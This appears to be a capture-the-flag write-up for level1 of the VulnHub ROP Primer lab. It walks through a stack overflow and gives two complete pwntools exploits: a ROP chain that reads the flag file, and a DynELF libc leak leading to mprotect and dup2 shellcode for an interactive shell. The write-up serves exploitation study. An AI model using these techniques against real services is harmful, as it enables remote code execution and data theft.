So, I’ve pwned level0 the hard way, lets continue on that path and take on level1.

Let’s have a quick view:

$ file level1
level1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=8a2b93e2b54246aa15e8ff2447035e740fb176cb, not stripped
$ checksec level1
[*] '/media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level1 | grep -E '(system)|(mprotect)|(mmap)|(exec)'
$

So, this one is dynamically linked and lacks our favorite functions for getting code execution. Bummer! Luckily we have an awesome tool at our disposal: pwntools!

The developer of this challenge has hinted that we should just read a flag file, but I want code execution. pwntools makes both these goals easy so let’s do both. Also, not bypassing ASLR is for n00bz, so enable ASLR! And install pwntools (sudo pip install pwntools).

First read flag!

No wait, first find vulnerability!

We have the C code for the binary which is pretty easy to read. The vulnerability is in the handle_conn function at line 72:

char filename[32], cmd[32];
...
read(fd, &str_filesize, 6);
filesize = atoi(str_filesize);
...
read_bytes = read(fd, filename, filesize);

We control filesize and that read into filename should probably only have read 31 bytes. Lets see how much we should write before hitting the return address. In terminal 1:

$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1
[New process 7150]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7150]
0x61616171 in ?? ()
(gdb)

…​and terminal 2:

$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ nc localhost 8888
Welcome to
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
^C
$ cyclic -l 0x61616171
64
$

So we need to write 64 chars before overwriting the return address. Luckily for us the vulnerability uses read to fetch our data so there are absolutely no bad characters and we can form the stack exactly as we wish.

Also, both open, read, write and the string "flag" (which is the name of the file) can be found in the binary. The functions are all in the PLT and thus callable just as if they were implemented directly in the binary. We’ll also need memset, which is also in the PLT.

$ readelf -s level1 | grep -E '(read)|(write)|(open)|(memset)'
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@GLIBC_2.0 (2)
    14: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
    16: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.0 (2)
    48: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
    56: 080488cb    74 FUNC    GLOBAL DEFAULT   14 write_file
    65: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@@GLIBC_2.0
    69: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
    72: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@@GLIBC_2.0
    89: 0804889c    47 FUNC    GLOBAL DEFAULT   14 write_buf

Let’s try building a flag stealing exploit.

pwntools is a Python framework that can be used for building exploits and it can be installed through 'pip'. We will be using the remote, ELF and ROP classes in our exploit.

remote is a socket connection and can be used to connect and talk to a listening server. ELF knows how to look up addresses in the binary such as PLT entries and the location of the "flag" string. ROP can build ROP chains using PLT entries.

Actually, let’s play around with the ROP class before building our exploit. Say we wanted to do this:

//0x0804a000 is known to be mapped and writable
memset(0x0804a000, 0, 129); //Just to remove crap
open("flag", 0); //This will return file descriptor 3
read(3, 0x0804a000, 128);
write(4, 0x0804a000, 128); //Our socket is file descriptor 4

This is how it could be done:

$ python
Python 2.7.9 (default, Apr  2 2015, 15:33:21)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF('level1')
[*] '/vagrant/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
>>> r = ROP(e)
[*] Loaded cached gadgets for 'level1' @ 0x8048000
>>> r.memset(0x0804a000, 0, 129)
>>> r.open(next(e.search('flag')), 0)
>>> r.read(3, 0x0804a000, 128)
>>> r.write(4, 0x0804a000, 128)
>>> print r.dump()
0x0000:        0x8048720 (memset)
0x0004:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x0008:        0x804a000
0x000c:              0x0
0x0010:             0x81
0x0014:        0x80486d0 (open)
0x0018:        0x8048ef7 (pop edi; pop ebp; ret)
0x001c:        0x8049128
0x0020:              0x0
0x0024:        0x8048640 (read)
0x0028:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x002c:              0x3
0x0030:        0x804a000
0x0034:             0x80
0x0038:        0x8048700 (write)
0x003c:       0xdeadbeef
0x0040:              0x4
0x0044:        0x804a000
0x0048:             0x80
>>>

We simply call the functions we want on the ROP object with the arguments we want and it will find the PLT entry and build a ROP stack for us. Between calls we return to gadgets that remove the arguments from the stack so that we can return to the next call on the list. The last return address is 0xdeadbeef so at that point the binary will segfault unless we end up calling exit. I won’t thou, you do it!

The exploit is so embarrassingly simple that I’ll show it here:

#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4
#The opened file is always file descriptor 3
FILE_FD = 3

elf = ELF('level1')
rop = ROP(elf)
#We don't know how large the file is but probably less than 128 bytes
#so null out 129 bytes
rop.memset(WRITABLE, 0, 129)
#Open the 'flag' file. The string 'flag' can be found in the binary
rop.open(next(elf.search('flag')), 0)
#Read 128 bytes from the file
rop.read(FILE_FD, WRITABLE, 128)
#And write the result on the socket
rop.write(SOCKET_FD, WRITABLE, 128)

#64 chars before overwriting return address
payload = 'A' * 64 + rop.chain()

def pwn(host, port):
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send(payload + '\n')
    r.recvuntil('> ')
    r.send(payload)
    print r.recv().rstrip('\x00')

if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Dead simple, right? Let’s see if it works:

$ ./flag_exploit.py
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}

[*] Closed connection to localhost port 8888

Yay!

But we’re not happy yet, because we only have a flag, not code execution.

There were no usable functions in the binary and it is not big enough to allow us to build a chain to invoke the syscalls directly. What to do?

It turns out we don’t need all that much. We can read more or less anything in the process memory space because we can call write with whatever arguments we want, so with a little ingenuity we can walk the structures that the linker uses to resolve symbols.

That is quite complex but fortunately pwntools has done all the work for us. We need DynELF!

DynELF is another class in pwntools. We pass it an ELF object and a function that given an address will read and return the data at that location and our ROP chain above does more or less just that.

That way we can resolve mprotect and then we can mark a memory segment as read/write/executable and place shellcode there. pwntools also contains a very useful shellcode library so the get_a_shell exploit is also quite simple. Have a look:

#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4

def rop_it(host, port, rop):
    '''ROP the host and return the socket'''
    payload = 'A' * 64 + rop.chain()
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send('A' * len(payload) + '\n')
    r.recvuntil('> ')
    r.send(payload)
    return r

def read_it(host, port, elf, addr, size):
    '''read and return the specified number of bytes
       from the specified address at the specified host'''
    rop = ROP(elf)
    rop.write(SOCKET_FD, addr, size)
    r = rop_it(host, port, rop)
    data = r.recv()
    r.close()
    return data

def leak_it(host, port, elf):
    '''return a leak function for the specified host and port'''
    def l(addr):
        return read_it(host, port, elf, addr, 4)
    return l

def pwn(host, port):
    #ELF object can find gadgets and useful PLT entries
    elf = ELF('level1')
    #DynELF knows how to resolve functions using an infoleak vuln
    dyn = DynELF(leak_it(host, port, elf), elf = elf)
    #..so let's use it to find 'mprotect' from 'libc'
    mprotect = dyn.lookup('mprotect', 'libc')
    #Have a shellcode that dup2 the socket and spawns a shell
    shellcode = asm(shellcraft.dupsh(SOCKET_FD))
    #Create a ROP object for calling this chain:
    #mprotect(0x0804a000, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC)
    #read(4, 0x0804a000, len(shellcode)
    #((void(*)())0x0804a000)()
    rop = ROP(elf)
    rop.call(mprotect, (WRITABLE, len(shellcode), 7))
    rop.read(SOCKET_FD, WRITABLE, len(shellcode))
    rop.call(WRITABLE)
    #Send ROP
    r = rop_it(host, port, rop)
    #ROP requests our shellcode, so send it
    r.send(shellcode)
    #Go interactive
    r.interactive()


if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Easy, right? But does it work? Let’s find out:

$ ./shell_exploit.py
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Loading from '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Resolving 'mprotect' in 'libc.so': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
...
...
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Switching to interactive mode
$ whoami
level2
$ ls
bleh
flag
level1
$ cat flag
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
$
[*] Interrupted
[*] Closed connection to localhost port 8888

Of course it does!

Each time DynELF looks up a new address we have to open a new connection so we get lots of output but in the end we get an interactive shell.